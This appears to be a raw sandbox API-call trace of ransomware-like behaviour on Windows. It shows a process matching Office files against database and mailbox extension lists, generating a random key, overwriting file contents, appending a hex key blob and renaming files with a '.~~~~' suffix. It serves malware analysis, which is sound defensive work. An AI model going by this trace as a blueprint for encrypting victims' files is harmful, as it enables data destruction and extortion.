	[0141.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.044] lstrlenW (lpString=".sqb") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".sqb") returned 0x0
	[0141.044] lstrlenW (lpString=".ost") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".ost") returned 0x0
	[0141.044] lstrlenW (lpString=".txt") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".txt") returned 0x0
	[0141.044] lstrlenW (lpString=".mdt") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".mdt") returned 0x0
	[0141.044] lstrlenW (lpString=".BDB") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".BDB") returned 0x0
	[0141.044] lstrlenW (lpString=".eql") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".eql") returned 0x0
	[0141.044] lstrlenW (lpString=".DBF") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DBF") returned 0x0
	[0141.044] lstrlenW (lpString=".EQL") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".EQL") returned 0x0
	[0141.044] lstrlenW (lpString=".FDB") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".FDB") returned 0x0
	[0141.044] lstrlenW (lpString=".EDB") returned 4
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".EDB") returned 0x0
	[0141.044] lstrlenW (lpString=".DACPAC") returned 7
	[0141.044] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.045] lstrlenW (lpString=".VHD") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".VHD") returned 0x0
	[0141.045] lstrlenW (lpString=".DBV") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DBV") returned 0x0
	[0141.045] lstrlenW (lpString=".dacpac") returned 7
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.045] lstrlenW (lpString=".sdf") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".sdf") returned 0x0
	[0141.045] lstrlenW (lpString=".accdb") returned 6
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".accdb") returned 0x0
	[0141.045] lstrlenW (lpString=".DBX") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DBX") returned 0x0
	[0141.045] lstrlenW (lpString=".MDT") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".MDT") returned 0x0
	[0141.045] lstrlenW (lpString=".SQB") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".SQB") returned 0x0
	[0141.045] lstrlenW (lpString=".vhd") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".vhd") returned 0x0
	[0141.045] lstrlenW (lpString=".bac") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".bac") returned 0x0
	[0141.045] lstrlenW (lpString=".mdf") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".mdf") returned 0x0
	[0141.045] lstrlenW (lpString=".BAK") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".BAK") returned 0x0
	[0141.045] lstrlenW (lpString=".BAC") returned 4
	[0141.045] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".BAC") returned 0x0
	[0141.046] lstrlenW (lpString=".dbs") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dbs") returned 0x0
	[0141.046] lstrlenW (lpString=".vhdx") returned 5
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.046] lstrlenW (lpString=".NDF") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".NDF") returned 0x0
	[0141.046] lstrlenW (lpString=".dat") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dat") returned 0x0
	[0141.046] lstrlenW (lpString=".DBS") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DBS") returned 0x0
	[0141.046] lstrlenW (lpString=".CKP") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".CKP") returned 0x0
	[0141.046] lstrlenW (lpString=".edb") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".edb") returned 0x0
	[0141.046] lstrlenW (lpString=".PST") returned 4
	[0141.046] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".PST") returned 0x0
	[0141.046] lstrlenW (lpString=".dbf") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dbf") returned 0x0
	[0141.047] lstrlenW (lpString=".SQL") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".SQL") returned 0x0
	[0141.047] lstrlenW (lpString=".pst") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".pst") returned 0x0
	[0141.047] lstrlenW (lpString=".dbv") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dbv") returned 0x0
	[0141.047] lstrlenW (lpString=".SDF") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".SDF") returned 0x0
	[0141.047] lstrlenW (lpString=".dtxs") returned 5
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.047] lstrlenW (lpString=".db3") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".db3") returned 0x0
	[0141.047] lstrlenW (lpString=".OST") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".OST") returned 0x0
	[0141.047] lstrlenW (lpString=".dbx") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dbx") returned 0x0
	[0141.047] lstrlenW (lpString=".DB3") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DB3") returned 0x0
	[0141.047] lstrlenW (lpString=".DAT") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DAT") returned 0x0
	[0141.047] lstrlenW (lpString=".VHDX") returned 5
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.047] lstrlenW (lpString=".ndf") returned 4
	[0141.047] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".ndf") returned 0x0
	[0141.047] lstrlenW (lpString=".DB") returned 3
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DB") returned 0x0
	[0141.048] lstrlenW (lpString=".sql") returned 4
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".sql") returned 0x0
	[0141.048] lstrlenW (lpString=".MYD") returned 4
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".MYD") returned 0x0
	[0141.048] lstrlenW (lpString=".DBT") returned 4
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DBT") returned 0x0
	[0141.048] lstrlenW (lpString=".ACCDB") returned 6
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.048] lstrlenW (lpString=".fdb") returned 4
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".fdb") returned 0x0
	[0141.048] lstrlenW (lpString=".bak") returned 4
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".bak") returned 0x0
	[0141.048] lstrlenW (lpString=".myd") returned 4
	[0141.048] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".myd") returned 0x0
	[0141.048] lstrlenW (lpString=".DTXS") returned 5
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.049] lstrlenW (lpString=".ckp") returned 4
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".ckp") returned 0x0
	[0141.049] lstrlenW (lpString=".dbt") returned 4
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".dbt") returned 0x0
	[0141.049] lstrlenW (lpString=".db") returned 3
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".db") returned 0x0
	[0141.049] lstrlenW (lpString=".TXT") returned 4
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".TXT") returned 0x0
	[0141.049] lstrlenW (lpString=".MDF") returned 4
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".MDF") returned 0x0
	[0141.049] lstrlenW (lpString=".bdb") returned 4
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".bdb") returned 0x0
	[0141.049] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.049] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0141.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.049] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0141.051] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.051] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0141.051] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26104118397) returned 1
	[0141.051] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd7b2bb0, dwHighDateTime=0x1d60e1e)) 
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2ba8
	[0141.051] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2ba8 | out: hHeap=0x300000) returned 1
	[0141.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae620
	[0141.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae620 | out: hHeap=0x300000) returned 1
	[0141.052] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.052] GetLastError () returned 0x0
	[0141.053] GetLastError () returned 0x0
	[0141.053] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.053] GetLastError () returned 0x0
	[0141.053] GetLastError () returned 0x0
	[0141.053] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x8fd7, lpOverlapped=0x0) returned 1
	[0141.225] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff7029, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.225] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x8fd7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x8fd7, lpOverlapped=0x0) returned 1
	[0141.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.225] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.225] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.226] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.226] CloseHandle (hObject=0xc4) returned 1
	[0141.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae578
	[0141.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif.~~~~")) returned 1
	[0141.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae578 | out: hHeap=0x300000) returned 1
	[0141.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0141.228] GetLastError () returned 0x0
	[0141.229] RtlWakeConditionVariable () returned 0x0
	[0141.229] GetCurrentThreadId () returned 0x3a4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".scr") returned 0x0
	[0141.229] lstrlenW (lpString=".cmd") returned 4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".cmd") returned 0x0
	[0141.229] lstrlenW (lpString=".dll") returned 4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dll") returned 0x0
	[0141.229] lstrlenW (lpString=".bat") returned 4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".bat") returned 0x0
	[0141.229] lstrlenW (lpString=".cpl") returned 4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".cpl") returned 0x0
	[0141.229] lstrlenW (lpString=".sys") returned 4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".sys") returned 0x0
	[0141.229] lstrlenW (lpString=".msc") returned 4
	[0141.229] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".msc") returned 0x0
	[0141.230] lstrlenW (lpString=".com") returned 4
	[0141.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".com") returned 0x0
	[0141.230] lstrlenW (lpString=".lnk") returned 4
	[0141.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".lnk") returned 0x0
	[0141.230] lstrlenW (lpString=".msp") returned 4
	[0141.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".msp") returned 0x0
	[0141.230] lstrlenW (lpString=".pif") returned 4
	[0141.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".pif") returned 0x0
	[0141.230] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.230] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.232] lstrlenW (lpString=".sqb") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".sqb") returned 0x0
	[0141.232] lstrlenW (lpString=".ost") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".ost") returned 0x0
	[0141.232] lstrlenW (lpString=".txt") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".txt") returned 0x0
	[0141.232] lstrlenW (lpString=".mdt") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".mdt") returned 0x0
	[0141.232] lstrlenW (lpString=".BDB") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".BDB") returned 0x0
	[0141.232] lstrlenW (lpString=".eql") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".eql") returned 0x0
	[0141.232] lstrlenW (lpString=".DBF") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DBF") returned 0x0
	[0141.232] lstrlenW (lpString=".EQL") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".EQL") returned 0x0
	[0141.232] lstrlenW (lpString=".FDB") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".FDB") returned 0x0
	[0141.232] lstrlenW (lpString=".EDB") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".EDB") returned 0x0
	[0141.232] lstrlenW (lpString=".DACPAC") returned 7
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.232] lstrlenW (lpString=".VHD") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".VHD") returned 0x0
	[0141.232] lstrlenW (lpString=".DBV") returned 4
	[0141.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DBV") returned 0x0
	[0141.232] lstrlenW (lpString=".dacpac") returned 7
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.233] lstrlenW (lpString=".sdf") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".sdf") returned 0x0
	[0141.233] lstrlenW (lpString=".accdb") returned 6
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".accdb") returned 0x0
	[0141.233] lstrlenW (lpString=".DBX") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".DBX") returned 0x0
	[0141.233] lstrlenW (lpString=".MDT") returned 4
	[0141.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF", lpSrch=".MDT") returned 0x0
	[0141.233] lstrlenW (lpString=".SQB") returned 4
